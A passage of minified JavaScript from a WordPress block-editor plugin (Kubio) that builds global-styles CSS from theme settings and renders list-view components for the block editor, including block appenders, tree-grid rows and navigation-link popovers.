0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;return d.reduce(((n,o)=>{let{path:l,valueKey:c,valueFunc:i,cssVarInfix:a}=o;const s=Object(r.get)(e,l,[]);return["default","theme","custom"].forEach((e=>{s[e]&&s[e].forEach((e=>{c&&!i?n.push(`--wp--preset--${a}--${Object(r.kebabCase)(e.slug)}: ${e[c]}`):i&&"function"==typeof i&&n.push(`--wp--preset--${a}--${Object(r.kebabCase)(e.slug)}: ${i(e,t)}`)}))})),n}),[])}(n,null==e?void 0:e.settings),a=B(l,"--wp--custom--","--");a.length>0&&i.push(...a),i.length>0&&(o+=`${c}{${i.join(";")};}`)})),o},N=function(e,t,n,o){var l,c;let i=arguments.length>4&&void 0!==arguments[4]&&arguments[4];const a=((e,t)=>{var n,o;const r=[];if(null==e||!e.styles)return r;const l=e=>Object.fromEntries(Object.entries(null!=e?e:{}).filter((e=>{let[t]=e;return["border","color","dimensions","spacing","typography","filter","outline","shadow"].includes(t)}))),c=l(e.styles);return c&&r.push({styles:c,selector:u}),Object.entries(k.__EXPERIMENTAL_ELEMENTS).forEach((t=>{var n;let[o,l]=t;var c;null!==(n=e.styles)&&void 0!==n&&n.elements[o]&&r.push({styles:null===(c=e.styles)||void 0===c?void 0:c.elements[o],selector:l})})),Object.entries(null!==(n=null===(o=e.styles)||void 0===o?void 0:o.blocks)&&void 0!==n?n:{}).forEach((e=>{var n,o;let[c,i]=e;const a=l(i);if(null!=i&&i.variations){const e={};Object.keys(i.variations).forEach((t=>{e[t]=l(i.variations[t])})),a.variations=e}a&&null!=t&&null!==(n=t[c])&&void 0!==n&&n.selector&&r.push({duotoneSelector:t[c].duotoneSelector,fallbackGapValue:t[c].fallbackGapValue,hasLayoutSupport:t[c].hasLayoutSupport,selector:t[c].selector,styles:a,featureSelectors:t[c].featureSelectors,styleVariationSelectors:t[c].styleVariationSelectors}),Object.entries(null!==(o=null==i?void 0:i.elements)&&void 0!==o?o:{}).forEach((e=>{let[n,o]=e;o&&null!=t&&t[c]&&null!==k.__EXPERIMENTAL_ELEMENTS&&void 0!==k.__EXPERIMENTAL_ELEMENTS&&k.__EXPERIMENTAL_ELEMENTS[n]&&r.push({styles:o,selector:t[c].selector.split(",").map((e=>k.__EXPERIMENTAL_ELEMENTS[n].split(",").map((t=>e+" "+t)))).join(",")})}))})),r})(e,t),s=x(e,t),b=null==e||null===(l=e.settings)||void 0===l?void 0:l.useRootPaddingAwareAlignments,{contentSize:p,wideSize:m}=(null==e||null===(c=e.settings)||void 0===c?void 0:c.layout)||{};let f="body {margin: 0;";if(p&&(f+=` --wp--style--global--content-size: ${p};`),m&&(f+=` --wp--style--global--wide-size: ${m};`),b&&(f+='padding-right: 0; padding-left: 0; padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom) }\n\t\t\t.has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }\n\t\t\t.has-global-padding :where(.has-global-padding) { padding-right: 0; padding-left: 0; }\n\t\t\t.has-global-padding > .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }\n\t\t\t.has-global-padding :where(.has-global-padding) > .alignfull { margin-right: 0; margin-left: 0; }\n\t\t\t.has-global-padding > .alignfull:where(:not(.has-global-padding)) > :where([class*="wp-block-"]:not(.alignfull):not([class*="__"]),p,h1,h2,h3,h4,h5,h6,ul,ol) { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }\n\t\t\t.has-global-padding :where(.has-global-padding) > .alignfull:where(:not(.has-global-padding)) > :where([class*="wp-block-"]:not(.alignfull):not([class*="__"]),p,h1,h2,h3,h4,h5,h6,ul,ol) { padding-right: 0; padding-left: 0;'),f+="}",a.forEach((t=>{let{selector:r,duotoneSelector:l,styles:c,fallbackGapValue:a,hasLayoutSupport:s,featureSelectors:d,styleVariationSelectors:p}=t;d&&Object.entries(d).forEach((e=>{let[t,n]=e;if(null!=c&&c[t]){const e=I({[t]:c[t]});delete c[t],e.length&&(f+=`${n}{${e.join(";")} }`)}})),p&&Object.entries(p).forEach((t=>{var n;let[o,r]=t;if(null!=c&&null!==(n=c.variations)&&void 0!==n&&n[o]){var l;d&&Object.entries(d).forEach((e=>{var t,n;let[l,i]=e;if(null!=c&&null!==(t=c.variations)&&void 0!==t&&null!==(n=t[o])&&void 0!==n&&n[l]){const e=I({[l]:c.variations[o][l]});delete c.variations[o][l],e.length&&(f+=`${function(e,t){const n=e.split(","),o=[];return n.forEach((e=>{o.push(`${t.trim()}${e.trim()}`)})),o.join(", ")}(i,r)}{${e.join(";")} }`)}}));const t=I(null==c||null===(l=c.variations)||void 0===l?void 0:l[o],r,b,e);t.length&&(f+=`${r}{${t.join(";")}}`)}}));const m={};if(null!=c&&c.filter&&(m.filter=c.filter,delete c.filter),l){const e=I(m);e.length>0&&(f+=`${l}{${e.join(";")};}`)}i||u!==r&&!s||(f+=function(e){var t,n,o,r,l;let{tree:c,style:i,selector:a,hasBlockGapSupport:s,hasFallbackGapSupport:d,fallbackGapValue:b}=e,p="",m=s?Object(E.b)(null==i||null===(t=i.spacing)||void 0===t?void 0:t.blockGap):"";if(d&&(a===u?m=m||"0.5em":!s&&b&&(m=b)),m&&null!=c&&null!==(n=c.settings)&&void 0!==n&&null!==(o=n.layout)&&void 0!==o&&o.definitions&&(Object.values(c.settings.layout.definitions).forEach((e=>{let{className:t,name:n,spacingStyles:o}=e;(s||"flex"===n)&&null!=o&&o.length&&o.forEach((e=>{const n=[];if(e.rules&&Object.entries(e.rules).forEach((e=>{let[t,o]=e;n.push(`${t}: ${o||m}`)})),n.length){let o="";o=s?a===u?`${a} .${t}${(null==e?void 0:e.selector)||""}`:`${a}.${t}${(null==e?void 0:e.selector)||""}`:a===u?`:where(.${t}${(null==e?void 0:e.selector)||""})`:`:where(${a}.${t}${(null==e?void 0:e.selector)||""})`,p+=`${o} { ${n.join("; ")}; }`}}))})),a===u&&s&&(p+=`${a} { --wp--style--block-gap: ${m}; }`)),a===u&&null!=c&&null!==(r=c.settings)&&void 0!==r&&null!==(l=r.layout)&&void 0!==l&&l.definitions){const e=["block","flex","grid"];Object.values(c.settings.layout.definitions).forEach((t=>{let{className:n,displayMode:o,baseStyles:r}=t;o&&e.includes(o)&&(p+=`${a} .${n} { display:${o}; }`),null!=r&&r.length&&r.forEach((e=>{const t=[];if(e.rules&&Object.entries(e.rules).forEach((e=>{let[n,o]=e;t.push(`${n}: ${o}`)})),t.length){const o=`${a} .${n}${(null==e?void 0:e.selector)||""}`;p+=`${o} { ${t.join("; ")}; }`}}))}))}return p}({tree:e,style:c,selector:r,hasBlockGapSupport:n,hasFallbackGapSupport:o,fallbackGapValue:a}));const g=I(c,r,b,e);null!=g&&g.length&&(f+=`${r}{${g.join(";")};}`);const h=Object.entries(c).filter((e=>{let[t]=e;return t.startsWith(":")}));null!=h&&h.length&&h.forEach((e=>{let[t,n]=e;const o=I(n);if(null==o||!o.length)return;const l=`${r.split(",").map((e=>e+t)).join(",")}{${o.join(";")};}`;f+=l}))})),f+=".wp-site-blocks > .alignleft { float: left; margin-right: 2em; }",f+=".wp-site-blocks > .alignright { float: right; margin-left: 2em; }",f+=".wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }",n){var g,h;const t=Object(E.b)(null==e||null===(g=e.styles)||void 0===g||null===(h=g.spacing)||void 0===h?void 0:h.blockGap)||"0.5em";f+=".wp-site-blocks > * { margin-block-start: 0; margin-block-end: 0; }",f+=`.wp-site-blocks > * + * { margin-block-start: ${t}; }`}return s.forEach((e=>{let{selector:t,presets:n}=e;u===t&&(t="");const o=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return d.reduce(((n,o)=>{let{path:l,cssVarInfix:c,classes:i}=o;if(!i)return n;const a=Object(r.get)(t,l,[]);return["default","theme","custom"].forEach((t=>{a[t]&&a[t].forEach((t=>{let{slug:o}=t;i.forEach((t=>{let{classSuffix:l,propertyName:i}=t;const a=`.has-${Object(r.kebabCase)(o)}-${l}`,s=e.split(",").map((e=>`${e}${a}`)).join(","),u=`var(--wp--preset--${c}--${Object(r.kebabCase)(o)})`;n+=`${s}{${i}: ${u} !important;}`}))}))})),n}),"")}(t,n);Object(r.isEmpty)(o)||(f+=o)})),f};const M=(e,t)=>{const n={};return e.forEach((e=>{var o,r,l,c,i,a,s,u,d;const b=e.name,p=null!==(o=null==e||null===(r=e.supports)||void 0===r?void 0:r.__experimentalSelector)&&void 0!==o?o:".wp-block-"+b.replace("core/","").replace("/","-"),m=null!==(l=null==e||null===(c=e.supports)||void 0===c||null===(i=c.color)||void 0===i?void 0:i.__experimentalDuotone)&&void 0!==l?l:null,f=!(null==e||null===(a=e.supports)||void 0===a||!a.__experimentalLayout),g=null==e||null===(s=e.supports)||void 0===s||null===(u=s.spacing)||void 0===u||null===(d=u.blockGap)||void 0===d?void 0:d.__experimentalDefault,h=t(b),v={};null!=h&&h.length&&h.forEach((e=>{const t=`.is-style-${e.name}${p}`;v[e.name]=t}));const O={};Object.entries(C).forEach((t=>{var n,o;let[r,l]=t;const c=null==e||null===(n=e.supports)||void 0===n||null===(o=n[r])||void 0===o?void 0:o.__experimentalSelector;c&&(O[l]=function(e,t){const n=e.split(","),o=t.split(","),r=[];return n.forEach((e=>{o.forEach((t=>{r.push(`${e.trim()} ${t.trim()}`)}))})),r.join(", ")}(p,c))})),n[b]={duotoneSelector:m,fallbackGapValue:g,featureSelectors:Object.keys(O).length?O:void 0,hasLayoutSupport:f,name:b,selector:p,styleVariationSelectors:Object.keys(v).length?v:void 0}})),n},P=(e,t)=>{let n="";return e.split("&").forEach((e=>{n+=e.includes("{")?t+e:t+"{"+e+"}"})),n};function L(){let{merged:e}=Object(i.useContext)(f);const[t]=v("spacing.blockGap"),n=null!==t,o=!n,l=Object(j.useSelect)((e=>{const{getSettings:t}=e(S.a);return!!t().disableLayoutStyles})),c=Object(j.useSelect)((e=>e(k.store).getBlockStyles),[]);return Object(i.useMemo)((()=>{var t,a,s,u,b,p,m,f,g,h,v,O;if(null===(t=e)||void 0===t||!t.styles||null===(a=e)||void 0===a||!a.settings)return[];e=!(null===(b=(u=e).styles)||void 0===b?void 0:b.blocks["core/separator"])||!(null===(p=u.styles)||void 0===p||null===(m=p.blocks["core/separator"].color)||void 0===m?void 0:m.background)||null!==(f=u.styles)&&void 0!==f&&null!==(g=f.blocks["core/separator"].color)&&void 0!==g&&g.text||null!==(h=u.styles)&&void 0!==h&&null!==(v=h.blocks["core/separator"].border)&&void 0!==v&&v.color?u:{...u,styles:{...u.styles,blocks:{...u.styles.blocks,"core/separator":{...u.styles.blocks["core/separator"],color:{...u.styles.blocks["core/separator"].color,text:null===(O=u.styles)||void 0===O?void 0:O.blocks["core/separator"].color.background}}}}};const j=M(Object(k.getBlockTypes)(),c),_=T(e,j),E=N(e,j,n,o,l),S=function(e,t){return x(e,t).flatMap((e=>{let{presets:t}=e;return function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return d.filter((e=>"duotone"===e.path.at(-1))).flatMap((t=>{const n=Object(r.get)(e,t.path,{});return["default","theme"].filter((e=>n[e])).flatMap((e=>n[e].map((e=>Object(i.createElement)(y.d,{preset:e,key:e.slug})))))}))}(t)}))}(e,j),C=[{css:_,isGlobalStyles:!0},{css:E,isGlobalStyles:!0},{css:null!==(s=e.styles.css)&&void 0!==s?s:"",isGlobalStyles:!0}];return Object(k.getBlockTypes)().forEach((t=>{var n;if(null!==(n=e.styles.blocks[t.name])&&void 0!==n&&n.css){var o;const n=j[t.name].selector;C.push({css:P(null===(o=e.styles.blocks[t.name])||void 0===o?void 0:o.css,n),isGlobalStyles:!0})}})),[C,e.settings,S]}),[n,o,e,l])}var R=n(11),A=n(3),D=n(1),F=n(8),z=n(63),V=n(94),H=n(90);const G=Object(i.forwardRef)(((e,t)=>{let{nestingLevel:n,blockCount:o,...r}=e;const[l,c]=Object(i.useState)(null),a=Object(R.useInstanceId)(G),{hideInserter:s,clientId:u}=Object(j.useSelect)((e=>{const{getTemplateLock:t,__unstableGetEditorMode:n,getSelectedBlockClientId:o}=e(S.a),r=o();return{clientId:o(),hideInserter:!!t(r)||"zoom-out"===n()}}),[]),d=Object(V.a)({clientId:u,context:"list-view"}),b=Object(V.a)({clientId:null==l?void 0:l.clientId,context:"list-view"});if(Object(i.useEffect)((()=>{null!=b&&b.length&&Object(z.speak)(Object(D.sprintf)(// translators: %s: name of block being inserted (i.e. Paragraph, Image, Group etc)
Object(D.__)("%s block inserted","kubio"),b),"assertive")}),[b]),s)return null;const p=`off-canvas-editor-appender__${a}`,m=Object(D.sprintf)(/* translators: 1: The name of the block. 2: The numerical position of the block. 3: The level of nesting for the block. */Object(D.__)("Append to %1$s block at position %2$d, Level %3$d","kubio"),d,o+1,n);return Object(i.createElement)("div",{className:"offcanvas-editor-appender"},Object(i.createElement)(H.a,Object(F.a)({ref:t,rootClientId:u,position:"bottom right",isAppender:!0,selectBlockOnInsert:!1,shouldDirectInsert:!1,__experimentalIsQuick:!0},r,{toggleProps:{"aria-describedby":p},onSelectOrClose:e=>{null!=e&&e.clientId&&c(e)}})),Object(i.createElement)("div",{className:"offcanvas-editor-appender__description",id:p},m))}));var $=n(13),U=n.n($),W=n(422),K=n(175),q=n(259);const Y=Object(K.animated)(A.__experimentalTreeGridRow);function Q(e){let{isSelected:t,position:n,level:o,rowCount:r,children:l,className:c,path:a,...s}=e;const u=Object(q.a)({isSelected:t,adjustScrolling:!1,enableAnimation:!0,triggerAnimationOnChange:a});return Object(i.createElement)(Y,Object(F.a)({ref:u,className:U()("block-editor-list-view-leaf","offcanvas-editor-list-view-leaf",c),level:o,positionInSet:n,setSize:r},s),l)}var X=n(126),Z=n(120),J=n(679),ee=n(27),te=n(55),ne=n(61),oe=n(677),re=n(678);function le(e){let{onClick:t}=e;return Object(i.createElement)("span",{className:"block-editor-list-view__expander",onClick:e=>t(e,{forceToggle:!0}),"aria-hidden":"true"},Object(i.createElement)(Z.a,{icon:Object(D.isRTL)()?oe.a:re.a}))}var ce=n(95),ie=Object(i.forwardRef)((function(e,t){let{className:n,block:o,onClick:r,onToggleExpanded:l,tabIndex:c,onFocus:a,onDragStart:s,onDragEnd:u,draggable:d}=e;const{clientId:b}=o,p=Object(ne.a)(b),m=Object(V.a)({clientId:b,context:"list-view"}),{isLocked:f}=Object(ce.c)(b),g=p?Object(D.sprintf)(// translators: %s: The title of the block.
Object(D.__)("Edit %s block","kubio"),p.title):Object(D.__)("Edit","kubio");return Object(i.createElement)(i.Fragment,null,Object(i.createElement)(A.Button,{className:U()("block-editor-list-view-block-select-button",n),onClick:r,onKeyDown:function(e){e.keyCode!==ee.ENTER&&e.keyCode!==ee.SPACE||r(e)},ref:t,tabIndex:c,onFocus:a,onDragStart:e=>{e.dataTransfer.clearData(),null==s||s(e)},onDragEnd:u,draggable:d,href:`#block-${b}`,"aria-hidden":!0,title:g},Object(i.createElement)(le,{onClick:l}),Object(i.createElement)(te.a,{icon:null==p?void 0:p.icon,showColors:!0,context:"list-view"}),Object(i.createElement)(A.__experimentalHStack,{alignment:"center",className:"block-editor-list-view-block-select-button__label-wrapper",justify:"flex-start",spacing:1},Object(i.createElement)("span",{className:"block-editor-list-view-block-select-button__title"},Object(i.createElement)(A.__experimentalTruncate,{ellipsizeMode:"auto"},m)),(null==p?void 0:p.anchor)&&Object(i.createElement)("span",{className:"block-editor-list-view-block-select-button__anchor-wrapper"},Object(i.createElement)(A.__experimentalTruncate,{className:"block-editor-list-view-block-select-button__anchor",ellipsizeMode:"auto"},p.anchor)),f&&Object(i.createElement)("span",{className:"block-editor-list-view-block-select-button__lock"},Object(i.createElement)(Z.a,{icon:J.a})))))})),ae=n(132),se=n(321),ue=n(35),de=n(42),be=n(168);function pe(e,t){switch(e){case"post":case"page":return{type:"post",subtype:e};case"category":return{type:"term",subtype:"category"};case"tag":return{type:"term",subtype:"post_tag"};case"post_format":return{type:"post-format"};default:return"taxonomy"===t?{type:"term",subtype:e}:"post-type"===t?{type:"post",subtype:e}:{}}}function me(e){let{clientId:t}=e;const{getBlock:n,blockTransforms:o}=Object(j.useSelect)((e=>{const{getBlock:n,getBlockRootClientId:o,getBlockTransformItems:r}=e(S.a);return{getBlock:n,blockTransforms:r(n(t),o(t))}}),[t]),{replaceBlock:r}=Object(j.useDispatch)(S.a),l=["core/page-list","core/site-logo","core/social-links","core/search"],c=o.filter((e=>l.includes(e.name)));return null!=c&&c.length&&t?Object(i.createElement)("div",{className:"link-control-transform"},Object(i.createElement)("h3",{className:"link-control-transform__subheading"},Object(D.__)("Transform","kubio")),Object(i.createElement)("div",{className:"link-control-transform__items"},c.map((e=>Object(i.createElement)(A.Button,{key:`transform-${e.name}`,onClick:()=>r(t,Object(k.switchToBlockType)(n(t),e.name)),className:"link-control-transform__item"},Object(i.createElement)(te.a,{icon:e.icon}),e.title))))):null}function fe(e){const{label:t,url:n,opensInNewTab:o,type:r,kind:l}=e.link,c={url:n,opensInNewTab:o,title:t&&Object(de.__unstableStripHTML)(t)};return Object(i.createElement)(A.Popover,{placement:"bottom",onClose:e.onClose,anchor:e.anchor,shift:!0},Object(i.createElement)(be.a,{hasTextControl:!0,hasRichPreviews:!0,className:e.className,value:c,showInitialSuggestions:!0,withCreateSuggestion:e.hasCreateSuggestion,noDirectEntry:!!r,noURLSuggestion:!!r,suggestionsQuery:pe(r,l),onChange:e.onChange,onRemove:e.onRemove,renderControlBottom:n?null:()=>Object(i.createElement)(me,{clientId:e.clientId})}))}const ge=["core/navigation-link","core/navigation-submenu"],he=Object(i.forwardRef)(((e,t)=>{let{onClick:n,onToggleExpanded:o,block:r,isSelected:l,position:c,siblingBlockCount:a,level:s,isExpanded:u,selectedClientIds:d,...b}=e;const{clientId:p}=r,[m,f]=Object(i.useState)(),{blockMovingClientId:g,selectedBlockInBlockEditor:h,lastInsertedBlockClientId:v}=Object(j.useSelect)((e=>{const{hasBlockMovingClientId:t,getSelectedBlockClientId:n,getLastInsertedBlocksClientIds:o}=De(e(S.a)),r=o();return{blockMovingClientId:t(),selectedBlockInBlockEditor:n(),lastInsertedBlockClientId:r&&r[0]}}),[p]),{insertedBlockAttributes:O,insertedBlockName:k,setInsertedBlockAttributes:_}=(e=>{const{insertedBlockAttributes:t,insertedBlockName:n}=Object(j.useSelect)((t=>{const{getBlockName:n,getBlockAttributes:o}=t(S.a);return{insertedBlockAttributes:o(e),insertedBlockName:n(e)}}),[e]),{updateBlockAttributes:o}=Object(j.useDispatch)(S.a),r=t=>{e&&o(e,t)};return e?{insertedBlockAttributes:t,insertedBlockName:n,setInsertedBlockAttributes:r}:{insertedBlockAttributes:void 0,insertedBlockName:void 0,setInsertedBlockAttributes:r}})(v),y=null==O?void 0:O.id;Object(i.useEffect)((()=>{p===v&&null!=ge&&ge.includes(k)&&!y&&f(!0)}),[v,p,k,y]);const E=g&&h===p,C=U()("block-editor-list-view-block-contents",{"is-dropping-before":E}),w=d.includes(p)?d:[p];return Object(i.createElement)(i.Fragment,null,m&&Object(i.createElement)(fe,{clientId:v,link:O,onClose:()=>f(!1),hasCreateSuggestion:!1,onChange:e=>{!function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};const{label:o="",kind:r="",type:l=""}=n,{title:c="",url:i="",opensInNewTab:a,id:s,kind:u=r,type:d=l}=e,b=c.replace(/http(s?):\/\//gi,""),p=i.replace(/http(s?):\/\//gi,""),m=c&&c!==o&&b!==p?Object(se.escapeHTML)(c):o||Object(se.escapeHTML)(p),f="post_tag"===d?"tag":d.replace("-","_"),g=["post","page","tag","category"].indexOf(f)>-1,h=!u&&!g||"custom"===u?"custom":u;t({...i&&{url:encodeURI(Object(ue.safeDecodeURI)(i))},...m&&{label:m},...void 0!==a&&{opensInNewTab:a},...s&&Number.isInteger(s)&&{id:s},...h&&{kind:h},...f&&"URL"!==f&&{type:f}})}(e,_,O),f(!1)}}),Object(i.createElement)(ae.a,{clientIds:w},(e=>{let{draggable:d,onDragStart:p,onDragEnd:m}=e;return Object(i.createElement)(ie,Object(F.a)({ref:t,className:C,block:r,onClick:n,onToggleExpanded:o,isSelected:l,position:c,siblingBlockCount:a,level:s,draggable:d,onDragStart:p,onDragEnd:m,isExpanded:u},b))})))}));var ve=he,Oe=n(180);const ke=Object(i.createContext)({}),je=()=>Object(i.useContext)(ke);var _e=Object(i.memo)((function e(t){let{block:{clientId:n},isDragged:o,isSelected:r,isBranchSelected:l,selectBlock:c,position:a,level:s,rowCount:u,siblingBlockCount:d,showBlockMovers:b,path:p,isExpanded:m,selectedClientIds:f,preventAnnouncement:g}=t;const h=Object(i.useRef)(null),[v,O]=Object(i.useState)(!1),{isLocked:_,isContentLocked:y}=Object(ce.c)(n),E=Object(j.useSelect)((e=>!r&&!!y&&e(S.a).hasSelectedInnerBlock(n,!0)),[y,n,r]),C=E||r&&f[0]===n,w=E||r&&f[f.length-1]===n,{toggleBlockHighlight:B}=Object(j.useDispatch)(S.a),I=Object(ne.a)(n),x=Object(j.useSelect)((e=>e(S.a).getBlock(n)),[n]);Object(i.useEffect)((()=>{!L&&r&&h.current.focus()}),[]);const T=Object(i.useCallback)((()=>{O(!0),B(n,!0)}),[n,O,B]),N=Object(i.useCallback)((()=>{O(!1),B(n,!1)}),[n,O,B]),M=Object(i.useCallback)((e=>{c(e,n),e.preventDefault()}),[n,c]),P=Object(i.useCallback)((e=>{c(void 0,e)}),[c]),{isTreeGridMounted:L,expand:F,collapse:z,LeafMoreMenu:V}=je(),H=Object(i.useCallback)((e=>{e.preventDefault(),e.stopPropagation(),!0===m?z(n):!1===m&&F(n)}),[n,F,z,m]),G=Object(R.useInstanceId)(e);if(!x)return null;const $=!!x&&Object(k.hasBlockSupport)(x.name,"__experimentalToolbar",!0),K=`list-view-block-select-button__${G}`,q=((e,t,n)=>Object(D.sprintf)(/* translators: 1: The numerical position of the block. 2: The total number of blocks. 3. The level of nesting for the block. */Object(D.__)("Block %1$d of %2$d, Level %3$d","kubio"),e,t,n))(a,d,s);let Y=Object(D.__)("Link","kubio");I&&(Y=_?Object(D.sprintf)(// translators: %s: The title of the block. This string indicates a link to select the locked block.
Object(D.__)("%s link (locked)","kubio"),I.title):Object(D.sprintf)(// translators: %s: The title of the block. This string indicates a link to select the block.
Object(D.__)("%s link","kubio"),I.title));const Z=I?Object(D.sprintf)(// translators: %s: The title of the block.
Object(D.__)("Options for %s block","kubio"),I.title):Object(D.__)("Options","kubio"),J=b&&d>0,ee=U()("block-editor-list-view-block__mover-cell",{"is-visible":v||r}),te=U()("block-editor-list-view-block__menu-cell",{"is-visible":v||C});let oe;J?oe=1:$||(oe=2);const re=U()({"is-selected":r||E,"is-first-selected":C,"is-last-selected":w,"is-branch-selected":l,"is-dragging":o,"has-single-cell":!$}),le=f.includes(n)?f:[n],ie=V||Oe.a;return Object(i.createElement)(Q,{className:re,onMouseEnter:T,onMouseLeave:N,onFocus:T,onBlur:N,level:s,position:a,rowCount:u,path:p,id:`list-view-block-${n}`,"data-block":n,isExpanded:y?void 0:m,"aria-selected":!!r||E},Object(i.createElement)(A.__experimentalTreeGridCell,{className:"block-editor-list-view-block__contents-cell",colSpan:oe,ref:h,"aria-label":Y,"aria-selected":!!r||E,"aria-expanded":y?void 0:m,"aria-describedby":K},(e=>{let{ref:t,tabIndex:n,onFocus:o}=e;return Object(i.createElement)("div",{className:"block-editor-list-view-block__contents-container"},Object(i.createElement)(ve,{block:x,onClick:M,onToggleExpanded:H,isSelected:r,position:a,siblingBlockCount:d,level:s,ref:t,tabIndex:n,onFocus:o,isExpanded:m,selectedClientIds:f,preventAnnouncement:g}),Object(i.createElement)("div",{className:"block-editor-list-view-block-select-button__description",id:K},q))})),J&&Object(i.createElement)(i.Fragment,null,Object(i.createElement)(A.__experimentalTreeGridCell,{className:ee,withoutGridItem:!0},Object(i.createElement)(A.__experimentalTreeGridItem,null,(e=>{let{ref:t,tabIndex:o,onFocus:r}=e;return Object(i.createElement)(X.b,{orientation:"vertical",clientIds:[n],ref:t,tabIndex:o,onFocus:r})})),Object(i.createElement)(A.__experimentalTreeGridItem,null,(e=>{let{ref:t,tabIndex:o,onFocus:r}=e;return Object(i.createElement)(X.a,{orientation:"vertical",clientIds:[n],ref:t,tabIndex:o,onFocus:r})})))),$&&Object(i.createElement)(i.Fragment,null,Object(i.createElement)(A.__experimentalTreeGridCell,{className:te,"aria-selected":!!r||E},(e=>{let{ref:t,tabIndex:o,onFocus:r}=e;return Object(i.createElement)(i.Fragment,null,Object(i.createElement)(ie,{clientIds:le,block:x,clientId:n,icon:W.a,label:Z,toggleProps:{ref:t,className:"block-editor-list-view-block__menu",tabIndex:o,onFocus:r},disableOpenOnArrowDown:!0,__experimentalSelectBlock:P}))}))))}));function ye(e,t,n,o){var r;return(null==n?void 0:n.includes(e.clientId))?0:(null!==(r=t[e.clientId])&&void 0!==r?r:o)?1+e.innerBlocks.reduce(Ee(t,n,o),0):1}const Ee=(e,t,n)=>(o,r)=>{var l;return(null==t?void 0:t.includes(r.clientId))?o:(null!==(l=e[r.clientId])&&void 0!==l?l:n)&&r.innerBlocks.length>0?o+ye(r,e,t,n):o+1},Se=()=>{};var Ce=Object(i.memo)((function e(t){const{blocks:n,selectBlock:o=Se,showBlockMovers:r,selectedClientIds:l,level:c=1,path:a="",isBranchSelected:s=!1,listPosition:u=0,fixedListWindow:d,isExpanded:b,parentId:p,shouldShowInnerBlocks:m=!0}=t,f=Object(j.useSelect)((e=>!(!p||"contentOnly"!==e(S.a).getTemplateLock(p))),[p]),{expandedState:g,draggedClientIds:h}=je();if(f)return null;const v=1===c,O=n.filter(Boolean),k=O.length,_=v?k+1:k;let y=u;return Object(i.createElement)(i.Fragment,null,O.map(((t,n)=>{var u;const{clientId:p,innerBlocks:f}=t;n>0&&(y+=ye(O[n-1],g,h,b));const{itemInView:v}=d,E=v(y),S=n+1,C=a.length>0?`${a}_${S}`:`${S}`,w=!(null==f||!f.length),B=w&&m?null!==(u=g[p])&&void 0!==u?u:b:void 0,I=!(null==h||!h.includes(p)),x=I||E,T=((e,t)=>Array.isArray(t)&&t.length?-1!==t.indexOf(e):t===e)(p,l),N=s||T&&w;return Object(i.createElement)(j.AsyncModeProvider,{key:p,value:!T},x&&Object(i.createElement)(_e,{block:t,selectBlock:o,isSelected:T,isBranchSelected:N,isDragged:I,level:c,position:S,rowCount:_,siblingBlockCount:k,showBlockMovers:r,path:C,isExpanded:B,listPosition:y,selectedClientIds:l}),!x&&Object(i.createElement)("tr",null,Object(i.createElement)("td",{className:"block-editor-list-view-placeholder"})),w&&B&&!I&&Object(i.createElement)(e,{parentId:p,blocks:f,selectBlock:o,showBlockMovers:r,level:c+1,path:C,listPosition:y+1,fixedListWindow:d,isBranchSelected:N,selectedClientIds:l,isExpanded:b}))})),v&&Object(i.createElement)(A.__experimentalTreeGridRow,{level:c,setSize:_,positionInSet:_,isExpanded:!0},Object(i.createElement)(A.__experimentalTreeGridCell,null,(e=>Object(i.createElement)(G,Object(F.a)({nestingLevel:c,blockCount:k},e))))))}));function we(e){let{listViewRef:t,blockDropTarget:n}=e;const{rootClientId:o,clientId:r,dropPosition:l}=n||{},[c,a]=Object(i.useMemo)((()=>t.current?[o?t.current.querySelector(`[data-block="${o}"]`):void 0,r?t.current.querySelector(`[data-block="${r}"]`):void 0]:[]),[o,r]),s=a||c,u=Object(i.useCallback)((()=>{if(!c)return 0;const e=s.getBoundingClientRect();return c.querySelector(".block-editor-block-icon").getBoundingClientRect().right-e.left}),[c,s]),d=Object(i.useMemo)((()=>{if(!s)return{};const e=u();return{width:s.offsetWidth-e}}),[u,s]),b=Object(i.useMemo)((()=>{if(s&&("top"===l||"bottom"===l||"inside"===l))return{ownerDocument:s.ownerDocument,getBoundingClientRect(){const e=s.getBoundingClientRect(),t=u(),n=e.left+t,o=e.right;let r=0,c=0;"top"===l?(r=e.top,c=e.top):(r=e.bottom,c=e.bottom);const i=o-n,a=c-r;return new window.DOMRect(n,r,i,a)}}}),[s,l,u]);return s?Object(i.createElement)(A.Popover,{animate:!1,anchor:b,focusOnMount:!1,className:"block-editor-list-view-drop-indicator",variant:"unstyled"},Object(i.createElement)("div",{style:d,className:"block-editor-list-view-drop-indicator__line"})):null}var Be=n(135),Ie=n(173);const xe=["top","bottom"];const Te=(e,t)=>Array.isArray(t.clientIds)?{...e,...t.clientIds.reduce(((e,n)=>({...e,[n]:"expand"===t.type})),{})}:e;var Ne,Me,Pe=Object(i.forwardRef)((function(e,t){let{id:n,blocks:o,showBlockMovers:r=!1,isExpanded:l=!1,LeafMoreMenu:c,description:a=Object(D.__)("Block navigation structure","kubio"),onSelect:s}=e;const{getBlock:u}=Object(j.useSelect)(S.a),{clientIdsTree:d,draggedClientIds:b,selectedClientIds:p}=function(e){return Object(j.useSelect)((t=>{const{getDraggedBlockClientIds:n,getSelectedBlockClientIds:o,__unstableGetClientIdsTree:r}=t(S.a);return{selectedClientIds:o(),draggedClientIds:n(),clientIdsTree:e||r()}}),[e])}(o),{visibleBlockCount:m,shouldShowInnerBlocks:f}=Object(j.useSelect)((e=>{const{getGlobalBlockCount:t,getClientIdsOfDescendants:n,__unstableGetEditorMode:o}=e(S.a),r=(null==b?void 